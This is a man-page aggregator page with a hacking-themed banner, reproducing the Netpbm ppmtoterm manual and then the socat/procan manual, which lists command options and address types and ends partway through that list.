➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoterm and provides detailed information about the command ppmtoterm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoterm.

.

NAME 🖥️ ppmtoterm 🖥️

convert a PPM image to a ANSI ISO 6429 ascii image

SYNOPSIS

ppmtoterm

[ppmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

This program tries to produce an accurate representation of a PPM image on an terminal that implements the ANSI ISO 6429 standard. It approximates colors, finding the minimum Cartesian distance between the input RGB vectors and the ones in the generated palette. As the available color palette is somewhat restricted, you get the best results when the colors in the original image are few and the RGB intensities are close to zero, half of maximum, and maximum.

You can usually get good results with cartoons or images with plain colors (no gradients). With photos, results can vary, but are usually not very accurate.

The output image has one line for each row and one character for each column of the input image. E.g. an 80 pixel by 25 pixel PPM image would fill up an 80x25 terminal screen. Use pamscale or pamcut to make your image fit properly on your screen.

Furthermore, use pamscale to recover the proper aspect ratio, because a character on a terminal screen is rarely square. Typically, a character is twice has high as it is wide, so in order for a 20x20 image to appear square on your terminal, as it should, you’ll want to squash it vertically or stretch it horizontally by a factor of two (resulting int 10x20 characters are 20x40 characters).

The image starts at the current cursor position on the terminal screen. Each successive row starts at Column 0 on the screen. If you want to shift the image up or down, for example to center it, use pnmpad on the input.

This program was born with the objective of displaying nice color images on the Linux console, e.g. a proper logo at Linux boot.

ppmtoascii does a similar things, but combines 2 or 8 pixels into one character, where the character roughly represents those particular pixels, whereas ppmtoterm displays each character of the image as a single pixel.

pbmto4425 does a similar thing for black and white images, using line drawing characters, on some terminals.

OPTIONS

There are no command line options defined specifically for ppmtoterm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamscale(1) , pamcut(1) , ppmtoascii(1) , pbmtoascii(1) , pbmto4425(1) , ppm(1)

AUTHOR

Copyright (C) 2002 by Ero Carrera.

HISTORY

This program was new in Netpbm 10.9 (August 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoterm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1806 - Linux cli command procan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command procan and provides detailed information about the command procan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the procan.

NAME 🖥️ procan 🖥️

Multipurpose relay (SOcket CAT)

SYNOPSIS

socat [options] <address> <address>
socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan

DESCRIPTION

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes.

Filan is a utility that prints information about its active file descriptors to stdout. It has been written for debugging socat, but might be useful for other purposes too. Use the -h option to find more infos.

Procan is a utility that prints information about process parameters to stdout. It has been written to better understand some UNIX process properties and for debugging socat, but might be useful for other purposes too.

The life cycle of a socat instance typically consists of four phases.

In the init phase, the command line options are parsed and logging is initialized.

During the open phase, socat opens the first address and afterwards the second address. These steps are usually blocking; thus, especially for complex address types like socks, connection requests or authentication dialogs must be completed before the next step is started.

In the transfer phase, socat watches both streams’ read and write file descriptors via select() , and, when data is available on one side and can be written to the other side, socat reads it, performs newline character conversions if required, and writes the data to the write file descriptor of the other stream, then continues waiting for more data in both directions.

When one of the streams effectively reaches EOF, the closing phase begins. Socat transfers the EOF condition to the other stream, i.e. tries to shutdown only its write stream, giving it a chance to terminate gracefully. For a defined time socat continues to transfer data in the other direction, but then closes all remaining channels and terminates.

OPTIONS

Socat provides some command line options that modify the behaviour of the program. They have nothing to do with so called address options that are used as parts of address specifications.

-V
Print version and available feature information to stdout, and exit.

-h | -?
Print a help text to stdout describing command line options and available address types, and exit.

-hh | -??
Like -h, plus a list of the short names of all available address options. Some options are platform dependend, so this output is helpful for checking the particular implementation.

-hhh | -???
Like -hh, plus a list of all available address option names.

-d
Without this option, only fatal, error, and warning messages are printed; applying this option also prints notice messages. See DIAGNOSTICS for more information.

-d0
With this option, only fatal and error messages are printed; this restores the behaviour of socat up to version 1.7.4.

-d -d | -dd | -d2
Prints fatal, error, warning, and notice messages.

-d -d -d | -ddd | -d3
Prints fatal, error, warning, notice, and info messages.

-d -d -d -d | -dddd | -d4
Prints fatal, error, warning, notice, info, and debug messages.

-D
Logs information about file descriptors before starting the transfer phase.

–experimental
New features that are not well tested or are subject to change in the future must me explicitely enabled using this option.

-ly[<facility>]
Writes messages to syslog instead of stderr; severity as defined with -d option. With optional <facility>, the syslog type can be selected, default is “daemon”. Third party libraries might not obey this option.

-lf<logfile>
Writes messages to <logfile> [filename] instead of stderr. Some third party libraries, in particular libwrap, might not obey this option.

-ls
Writes messages to stderr (this is the default). Some third party libraries might not obey this option, in particular libwrap appears to only log to syslog.

-lp<progname>
Overrides the program name printed in error messages and used for constructing environment variable names.

-lu
Extends the timestamp of error messages to microsecond resolution. Does not work when logging to syslog.

-lm[<facility>]
Mixed log mode. During startup messages are printed to stderr; when socat starts the transfer phase loop or daemon mode (i.e. after opening all streams and before starting data transfer, or, with listening sockets with fork option, before the first accept call), it switches logging to syslog. With optional <facility>, the syslog type can be selected, default is “daemon”.

-lh
Adds hostname to log messages. Uses the value from environment variable HOSTNAME or the value retrieved with uname()`` if HOSTNAME is not set.

-v
Writes the transferred data not only to their target streams, but also to stderr. The output format is text with some conversions for readability, and prefixed with “> " or “< " indicating flow directions.

-x
Writes the transferred data not only to their target streams, but also to stderr. The output format is hexadecimal, prefixed with “> " or “< " indicating flow directions. Can be combined with -v .

-r <file>
Dumps the raw (binary) data flowing from left to right address to the given file. The file name may contain references to environment variables and $$ (pid), $PROGNAME (see option option -lp), $TIMESTAMP (uses format %Y%m%dT%H%M%S), and MICROS (microseconds of daytime). These references have to be protected from shell expansion of course.

-R <file>
Dumps the raw (binary) data flowing from right to left address to the given file. See option -r for customization of file name.

-b<size>
Sets the data transfer block <size> [size_t]. At most <size> bytes are transferred per step. Default is 8192 bytes.

-s
By default, socat terminates when an error occurred to prevent the process from running when some option could not be applied. With this option, socat is sloppy with errors and tries to continue. Even with this option, socat will exit on fatals, and will abort connection attempts when security checks failed.

-S<signals-bitmap>
Changes the set of signals that are caught by socat just for printing an log message. This catching is useful to get the information about the signal into socats log, but prevents core dump or other standard actions. The default set of these signals is SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGABRT, SIGBUS, SIGFPE, SIGSEGV, and SIGTERM; replace this set (0x89de on Linux) with a bitmap (e.g., SIGFPE has value 8 and its bit is 0x0080).
Note: Signals SIGHUP, SIGINT, SIGQUIT, SIGUSR1, SIGPIPE, SIGALRM, SIGTERM, and SIGCHLD may be handled specially anyway.

-t<timeout>
When one channel has reached EOF, the write part of the other channel is shut down. Then, socat waits <timeout> [timeval] seconds before terminating. Default is 0.5 seconds. This timeout only applies to addresses where write and read part can be closed independently. When during the timeout interval the read part gives EOF, socat terminates without awaiting the timeout.

-T<timeout>
Total inactivity timeout: when socat is already in the transfer loop and nothing has happened for <timeout> [timeval] seconds (no data arrived, no interrupt occurred…) then it terminates. Useful with protocols like UDP that cannot transfer EOF.

-u
Uses unidirectional mode. The first address is only used for reading, and the second address is only used for writing (example).

-U
Uses unidirectional mode in reverse direction. The first address is only used for writing, and the second address is only used for reading.

-g
During address option parsing, don’t check if the option is considered useful in the given address environment. Use it if you want to force, e.g., appliance of a socket option to a serial device.

-L<lockfile>
If lockfile exists, exits with error. If lockfile does not exist, creates it and continues, unlinks lockfile on exit.

-W<lockfile>
If lockfile exists, waits until it disappears. When lockfile does not exist, creates it and continues, unlinks lockfile on exit.

-4
Use IP version 4 in case the addresses do not implicitly or explicitly specify a version. Since version 1.8.0 the default is no preference.

-6
Use IP version 6 in case the addresses do not implicitly or explicitly specify a version.

–statistics

-S
Logs transfer statistics (bytes and blocks counters for both directions) before terminating socat.
See also signal USR1.
This feature is experimental and might change in future versions.

ADDRESS SPECIFICATIONS

With the address command line arguments, the user gives socat instructions and the necessary information for establishing the byte streams.

An address specification usually consists of an address type keyword, zero or more required address parameters separated by ’:’ from the keyword and from each other, and zero or more address options separated by ’,’.

The keyword specifies the address type (e.g., TCP4, OPEN, EXEC). For some keywords there exist synonyms (’-’ for STDIO, TCP for TCP4). Keywords are case insensitive. For a few special address types, the keyword may be omitted: Address specifications starting with a number are assumed to be FD (raw file descriptor) addresses; if a ’/’ is found before the first ’:’ or ’,’, GOPEN (generic file open) is assumed.

The required number and type of address parameters depend on the address type. E.g., TCP4 requires a server specification (name or address), and a port specification (number or service name).

Zero or more address options may be given with each address. They influence the address in some ways. Options consist of an option keyword or an option keyword and a value, separated by ’=’. Option keywords are case insensitive. For filtering the options that are useful with an address type, each option is member of one option group. For each address type there is a set of option groups allowed. Only options belonging to one of these address groups may be used (except with option -g).

Address specifications following the above schema are also called single address specifications. Two single addresses can be combined with “!!” to form a dual type address for one channel. Here, the first address is used by socat for reading data, and the second address for writing data. There is no way to specify an option only once for being applied to both single addresses.

Usually, addresses are opened in read/write mode. When an address is part of a dual address specification, or when option -u or -U is used, an address might be used only for reading or for writing. Considering this is important with some address types.

With socat version 1.5.0 and higher, the lexical analysis tries to handle quotes and parenthesis meaningfully and allows escaping of special characters. If one of the characters ( { [ ’ is found, the corresponding closing character - ) } ] ’ - is looked for; they may also be nested. Within these constructs, socats special characters and strings : , !! are not handled specially. All those characters and strings can be escaped with \ or within "”

ADDRESS TYPES

This section describes the available address types with their keywords, parameters, and semantics.

CREATE:<filename>
Opens <filename> with creat() and uses the file descriptor for writing. This is a write-only address because a file opened with creat cannot be read from. See options -u and -U, and dual addresses.
Flags like O_LARGEFILE cannot be applied. If you need them use OPEN with options create,create.
<filename> must be a valid existing or not existing path. If <filename> is a named pipe, creat() might block; if <filename> refers to a socket, this is an error.
Option groups: FD,REG,NAMED
Useful options: mode, user, group, unlink-early, unlink-late, append
See also: OPEN, GOPEN

DCCP-CONNECT:<host>:<port> (DCCP:<host>:<port>)
Establishes a DCCP connect to the specified <host> [IP address] and <port> [DCCP service] using IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,SCTP,CHILD,RETRY
Useful options: bind, connect-timeout, tos, dccp-set-ccid, nonblock, sourceport, retry, readbytes
See also: DCCP4-CONNECT, DCCP6-CONNECT, DCCP-LISTEN, TCP-CONNECT SCTP-CONNECT

DCCP4-CONNECT:<host>:<port> (DCCP4:<host>:<port>)
Like DCCP-CONNECT, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,DCCP,CHILD,RETRY

DCCP6-CONNECT:<host>:<port> (DCCP6:<host>:<port>)
Like DCCP-CONNECT, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,DCCP,CHILD,RETRY

DCCP-LISTEN:<port> (DCCP-L:<port>)
Listens on <port> [DCCP service] and accepts an DCCP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,DCCP,RETRY
Useful options: fork, bind, range, max-children, backlog, accept-timeout, dccp-set-sid, su, reuseaddr, retry
See also: DCCP4-LISTEN, DCCP6-LISTEN, TCP-LISTEN, SCTP-LISTEN, DCCP-CONNECT

DCCP4-LISTEN:<port> (DCCP4-L:<port>)
Like DCCP-LISTEN, but only supports IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,DCCP,RETRY

DCCP6-LISTEN:<port> (DCCP6-L:<port>)
Like DCCP-LISTEN, but only supports IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,DCCP,RETRY

EXEC:<command-line>
Forks a sub process that establishes communication with its parent process and invokes the specified program with execvp() . <command-line> is a simple command with arguments separated by single spaces. If the program name contains a ’/’, the part after the last ’/’ is taken as ARGV[0]. If the program name is a relative path, the execvp() semantics for finding the program via $PATH apply. After successful program start, socat writes data to stdin of the process and reads from its stdout using a UNIX domain socket generated by socketpair() per default. (example)
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, login, sigint, sigquit, netns
See also: SYSTEM,SHELL

FD:<fdnum>
Uses the file descriptor <fdnum>. It must already exist as valid UN*X file descriptor.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: STDIO, STDIN, STDOUT, STDERR

GOPEN:<filename>
(Generic open) This address type tries to handle any file system entry except directories usefully. <filename> may be a relative or absolute path. If it already exists, its type is checked. In case of a UNIX domain socket, socat connects; if connecting fails, socatassumes a datagram socket and uses sendto() calls. If the entry is not a socket, socatopens it applying the O_APPEND flag. If it does not exist, it is opened with flag O_CREAT as a regular file (example).
Option groups: FD,REG,SOCKET,NAMED,OPEN
See also: OPEN, CREATE, UNIX-CONNECT

IP-SENDTO:<host>:<protocol>
Opens a raw IP socket. Depending on host specification or option pf, IP protocol version 4 or 6 is used. It uses <protocol> to send packets to <host> [IP address] and receives packets from host, ignores packets from other hosts. Protocol 255 uses the raw socket with the IP header being part of the data.
Option groups: FD,SOCKET,IP4,IP6
Useful options: pf, ttl
See also: IP4-SENDTO, IP6-SENDTO, IP-RECVFROM, IP-RECV, UDP-SENDTO, UNIX-SENDTO

INTERFACE:<interface>
Communicates with a network connected on an interface using raw packets including link level data. <interface> is the name of the network interface. Currently only available on Linux.
Option groups: FD,SOCKET
Useful options: pf, type
See also: ip-recv

IP4-SENDTO:<host>:<protocol>
Like IP-SENDTO, but always uses IPv4.
Option groups: FD,SOCKET,IP4

IP6-SENDTO:<host>:<protocol>
Like IP-SENDTO, but always uses IPv6.
Option groups: FD,SOCKET,IP6

IP-DATAGRAM:<address>:<protocol>
Sends outgoing data to the specified address which may in particular be a broadcast or multicast address. Packets arriving on the local socket are checked if their source addresses match RANGE or TCPWRAP options. This address type can for example be used for implementing symmetric or asymmetric broadcast or multicast communications.
Option groups: FD, SOCKET, IP4, IP6, RANGE
Useful options: bind, range, tcpwrap, broadcast, ip-multicast-loop, ip-multicast-ttl, ip-multicast-if, ip-add-membership, ip-add-source-membership, ipv6-join-group, ipv6-join-source-group, ttl, tos, pf
See also: IP4-DATAGRAM, IP6-DATAGRAM, IP-SENDTO, IP-RECVFROM, IP-RECV, UDP-DATAGRAM

IP4-DATAGRAM:<host>:<protocol>
Like IP-DATAGRAM, but always uses IPv4. (example)
Option groups: FD,SOCKET,IP4,RANGE

IP6-DATAGRAM:<host>:<protocol>
Like IP-DATAGRAM, but always uses IPv6. Please note that IPv6 does not know broadcasts.
Option groups: FD,SOCKET,IP6,RANGE

IP-RECVFROM:<protocol>
Opens a raw IP socket of <protocol>. Depending on option pf, IP protocol version 4 or 6 is used. It receives one packet from an unspecified peer and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This allows a behaviour similar to typical UDP based servers like ntpd or named.
Please note that the reply packets might be fetched as incoming traffic when sender and receiver IP address are identical because there is no port number to distinguish the sockets.
This address works well with IP-SENDTO address peers (see above). Protocol 255 uses the raw socket with the IP header being part of the data.
See the note about RECVFROM addresses.
Option groups: FD,SOCKET,IP4,IP6,CHILD,RANGE
Useful options: pf, fork, range, ttl, broadcast
See also: IP4-RECVFROM, IP6-RECVFROM, IP-SENDTO, IP-RECV, UDP-RECVFROM, UNIX-RECVFROM

IP4-RECVFROM:<protocol>
Like IP-RECVFROM, but always uses IPv4.
Option groups: FD,SOCKET,IP4,CHILD,RANGE

IP6-RECVFROM:<protocol>
Like IP-RECVFROM, but always uses IPv6.
Option groups: FD,SOCKET,IP6,CHILD,RANGE

IP-RECV:<protocol>
Opens a raw IP socket of <protocol>. Depending on option pf, IP protocol version 4 or 6 is used. It receives packets from multiple unspecified peers and merges the data. No replies are possible, this is a read-only address, see options -u and -U, and dual addresses. It can be, e.g., addressed by socat IP-SENDTO address peers. Protocol 255 uses the raw socket with the IP header being part of the data.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: pf, range
See also: IP4-RECV, IP6-RECV, IP-SENDTO, IP-RECVFROM, UDP-RECV, UNIX-RECV

IP4-RECV:<protocol>
Like IP-RECV, but always uses IPv4.
Option groups: FD,SOCKET,IP4,RANGE

IP6-RECV:<protocol>
Like IP-RECV, but always uses IPv6.
Option groups: FD,SOCKET,IP6,RANGE

OPEN:<filename>
Opens <filename> using the open() system call (example). This operation fails on UNIX domain sockets.
Note: This address type is rarely useful in bidirectional mode.
Option groups: FD,REG,NAMED,OPEN
Useful options: creat, excl, noatime, nofollow, append, rdonly, wronly, lock, readbytes, ignoreeof
See also: CREATE, GOPEN, UNIX-CONNECT

OPENSSL:<host>:<port>
Tries to establish a SSL connection to <port> [TCP service] on <host> [IP address] using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
NOTE: Up to version 1.7.2.4 the server certificate was only checked for validity against the system certificate store or cafile or capath, but not for match with the server’s name or its IP address. Since version 1.7.3.0 socat checks the peer certificate for match with the <host> parameter or the value of the openssl-commonname option. Socat tries to match it against the certificates subject commonName, and the certificates extension subjectAltName DNS names. Wildcards in the certificate are supported.
Option groups: FD,SOCKET,IP4,IP6,TCP,OPENSSL,RETRY
Useful options: min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, bind, pf, connect-timeout, sourceport, retry
See also: OPENSSL-LISTEN, TCP

OPENSSL-LISTEN:<port>
Listens on tcp <port> [TCP service]. The IP version is 4 or the one specified with pf. When a connection is accepted, this address behaves as SSL server.
Note: You probably want to use the certificate option with this address.
NOTE: The client certificate is only checked for validity against cafile or capath, but not for match with the client’s name or its IP address!
Option groups: FD,SOCKET,IP4,IP6,TCP,LISTEN,OPENSSL,CHILD,RANGE,RETRY
Useful options: pf, min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, fork, bind, range, tcpwrap, su, reuseaddr, retry
See also: OPENSSL, TCP-LISTEN

OPENSSL-DTLS-CLIENT:<host>:<port>
Tries to establish a DTLS connection to <port> [UDP service] on <host> [IP address] using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Socat checks the peer certificates subjectAltName or commonName against the addresses option openssl-commonname or the host name. Wildcards in the certificate are supported.
Use socat option -b to make datagrams small enough to fit with overhead on the network. Use option -T to prevent indefinite hanging when peer went down quietly.
Option groups: FD,SOCKET,IP4,IP6,OPENSSL,RETRY
Useful options: min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, bind, pf, sourceport, retry, rcvtimeo
See also: OPENSSL-DTLS-SERVER, OPENSSL-CONNECT, UDP-CONNECT

OPENSSL-DTLS-SERVER:<port>
Listens on UDP <port> [UDP service]. The IP version is 4 or the one specified with pf. When a connection is accepted, this address behaves as DTLS server.
Note: You probably want to use the certificate option with this address.
NOTE: The client certificate is only checked for validity against cafile or capath, but not for match with the client’s name or its IP address! Use socat option -b to make datagrams small enough to fit with overhead on the network. Use option -T to prevent indefinite hanging when peer went down quietly.
Option groups: FD,SOCKET,IP4,IP6,LISTEN,OPENSSL,CHILD,RANGE,RETRY
Useful options: pf, min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, fork, bind, range, tcpwrap, su, reuseaddr, retry
rcvtimeo
See also: OPENSSL-DTLS-CLIENT, OPENSSL-LISTEN, UDP-LISTEN

PIPE:<filename>
If <filename> already exists, it is opened. If it does not exist, a named pipe is created and opened. Beginning with socat version 1.4.3, the named pipe is removed when the address is closed (but see option unlink-close
Note: When a pipe is used for both reading and writing, it works as echo service.
Note: When a pipe is used for both reading and writing, and socat tries to write more bytes than the pipe can buffer (Linux 2.4: 2048 bytes), socat might block. Consider using socat option, e.g., -b 2048
Option groups: FD,NAMED,OPEN
Useful options: rdonly, nonblock, group, user, mode, unlink-early
See also: unnamed pipe

PIPE
Creates an unnamed pipe and uses it for reading and writing. It works as an echo, because everything written to it appeares immediately as read data.
Note: When socat tries to write more bytes than the pipe can queue (Linux 2.4: 2048 bytes), socat might block. Consider, e.g., using option -b 2048
Option groups: FD
See also: named pipe, SOCKETPAIR

SOCKETPAIR
Creates a socketpair and uses it for reading and writing. It works as an echo, because everything written to it appeares immediately as read data. The default socket type is datagram, so it keeps packet boundaries.
Option groups: FD
Useful options: socktype
See also: unnamed pipe

POSIXMQ-READ:/<mqueue>
Opens the specified POSIX message queue and reads messages (packets). It keeps the boundaries.
This is a read-only address, see options -u and -U and dual addresses.
Socat provides this address type only on Linux because POSIX MQ is based on UNIX filedescriptors there.
This feature is new in version 1.8.0.0 and might change in the future, therefore it is experimental.
Useful options: posixmq-priority, unlink-early, unlink-close

POSIXMQ-RECEIVE:/<mqueue>

POSIXMQ-RECV:/<mqueue>
Opens the specified POSIX message queue and reads one message (packet).
This is a read-only address. See POSIXMQ-READ for more info.
Example: POSIX MQ recv with fork
This feature is experimental.
Useful options: posixmq-priority, fork, max-children, unlink-early, unlink-close

POSIXMQ-SEND:/<mqueue>
Opens the specified POSIX message queue and writes messages (packets).
This is a write-only address. See POSIXMQ-READ for more info.
(Example)
This feature is experimental.
Useful options: posixmq-priority, fork, max-children, unlink-early, unlink-close

POSIXMQ-BIDIRECTIONAL:/mqueue
Opens the specified POSIX message queue and writes and reads messages (packet). This is probably rarely useful but has been implemented for functional completeness.

PROXY:<proxy>:<hostname>:<port>
Connects to an HTTP proxy server on port 8080 using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf, and sends a CONNECT request for hostname:port. If the proxy grants access and succeeds to connect to the target, data transfer between socat and the target can start (example). Note that the traffic need not be HTTP but can be an arbitrary protocol.
Option groups: FD,SOCKET,IP4,IP6,TCP,HTTP,RETRY
Useful options: proxyport, ignorecr, proxyauth, resolve, crnl, bind, connect-timeout, mss, sourceport, retry
See also: SOCKS, TCP

PTY
Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty’s slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX).
Option groups: FD,NAMED,PTY,TERMIOS
Useful options: link, openpty, wait-slave, mode, user, group
See also: UNIX-LISTEN, PIPE, EXEC, SYSTEM, SHELL

READLINE
lines (example).
You can use STDIO instead.

SCTP-CONNECT:<host>:<port>
Establishes an SCTP stream connection to the specified <host> [IP address] and <port> [TCP service] using IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,SCTP,CHILD,RETRY
Useful options: bind, pf, connect-timeout, tos, mtudiscover, sctp-maxseg, sctp-nodelay, nonblock, sourceport, retry, readbytes
See also: SCTP4-CONNECT, SCTP6-CONNECT, SCTP-LISTEN, TCP-CONNECT

SCTP4-CONNECT:<host>:<port>
Like SCTP-CONNECT, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,SCTP,CHILD,RETRY

SCTP6-CONNECT:<host>:<port>
Like SCTP-CONNECT, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,SCTP,CHILD,RETRY

SCTP-LISTEN:<port>
Listens on <port> [TCP service] and accepts an SCTP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,SCTP,RETRY
Useful options: crnl, fork, bind, range, tcpwrap, pf, max-children, backlog, accept-timeout, sctp-maxseg, sctp-nodelay, su, reuseaddr, retry
See also: SCTP4-LISTEN, SCTP6-LISTEN, TCP-LISTEN, SCTP-CONNECT

SCTP4-LISTEN:<port>
Like SCTP-LISTEN, but only supports IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,SCTP,RETRY

SCTP6-LISTEN:<port>
Like SCTP-LISTEN, but only supports IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,SCTP,RETRY

SOCKET-CONNECT:<domain>:<protocol>:<remote-address>
Creates a stream socket using the first and second given socket parameters and SOCK_STREAM`` (see man socket(2)) and connects to the remote-address. The two socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,CHILD,RETRY
Useful options: bind, setsockopt,
See also: TCP, UDP-CONNECT, UNIX-CONNECT, SOCKET-LISTEN, SOCKET-SENDTO

SOCKET-DATAGRAM:<domain>:<type>:<protocol>:<remote-address>
Creates a datagram socket using the first three given socket parameters (see man socket(2)) and sends outgoing data to the remote-address. The three socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,RANGE
Useful options: bind, range, setsockopt,
See also: UDP-DATAGRAM, IP-DATAGRAM, SOCKET-SENDTO, SOCKET-RECV, SOCKET-RECVFROM

SOCKET-LISTEN:<domain>:<protocol>:<local-address>
Creates a stream socket using the first and second given socket parameters and SOCK_STREAM`` (see man socket(2)) and waits for incoming connections on local-address. The two socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,LISTEN,RANGE,CHILD,RETRY
Useful options: setsockopt, setsockopt-listen,
See also: TCP, UDP-CONNECT, UNIX-CONNECT, SOCKET-LISTEN, SOCKET-SENDTO, SOCKET-SENDTO

SOCKET-RECV:<domain>:<type>:<protocol>:<local-address>
Creates a socket using the three given socket parameters (see man socket(2)) and binds it to <local-address>. Receives arriving data. The three parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Option groups: FD,SOCKET,RANGE
Useful options: range, setsockopt, setsockopt-listen
See also: UDP-RECV, IP-RECV, UNIX-RECV, SOCKET-DATAGRAM, SOCKET-SENDTO, SOCKET-RECVFROM

SOCKET-RECVFROM:<domain>:<type>:<protocol>:<local-address>
Creates a socket using the three given socket parameters (see man socket(2)) and binds it to <local-address>. Receives arriving data and sends replies back to the sender. The first three parameters have to be specified as int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
See the note about RECVFROM addresses.
Option groups: FD,SOCKET,CHILD,RANGE
Useful options: fork, range, setsockopt, setsockopt-listen
See also: UDP-RECVFROM, IP-RECVFROM, UNIX-RECVFROM, SOCKET-DATAGRAM, SOCKET-SENDTO, SOCKET-RECV

SOCKET-SENDTO:<domain>:<type>:<protocol>:<remote-address>
Creates a socket using the three given socket parameters (see man socket(2)). Sends outgoing data to the given address and receives replies. The three parameters have to be specified as int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Option groups: FD,SOCKET
Useful options: bind, setsockopt, setsockopt-listen
See also: UDP-SENDTO, IP-SENDTO, UNIX-SENDTO, SOCKET-DATAGRAM, SOCKET-RECV SOCKET-RECVFROM

ACCEPT-FD:<fdnum>
Expects a listening socket in <fdnum> and accepts one or (with option fork) more connections. This address type is useful under systemd control with “inetd mode”.
Example: (example)
Option groups: FD, SOCKET, TCP, CHILD, RETRY
Useful options: fork, range, sourceport, lowport, tcpwrap

SOCKS4:<socks-server>:<host>:<port>
Connects via <socks-server> [IP address] to <host> [IPv4 address] on <port> [TCP service], using socks version 4 protocol over IP version 4 or 6 depending on address specification, name resolution, or option pf (example).
Option groups: FD,SOCKET,IP4,IP6,TCP,SOCKS4,RETRY
Useful options: socksuser, socksport, sourceport, pf, retry
See also: SOCKS5, SOCKS4A, PROXY, TCP

SOCKS4A:<socks-server>:<host>:<port>
like SOCKS4, but uses socks protocol version 4a, thus leaving host name resolution to the socks server.
Option groups: FD,SOCKET,IP4,IP6,TCP,SOCKS4,RETRY

SOCKS5-CONNECT:<socks-server>:<socks-port>:<target-host>:<target-port>
Connects via <socks-server> [IP address] to <target-host> [IPv4 address] on <target-port> [TCP service], using socks version 5 protocol over TCP. Currently no authentication mechanism is provided.
This address type is experimental.
Option groups: FD, SOCKET, IP4, IP6, TCP, CHILD, RETRY
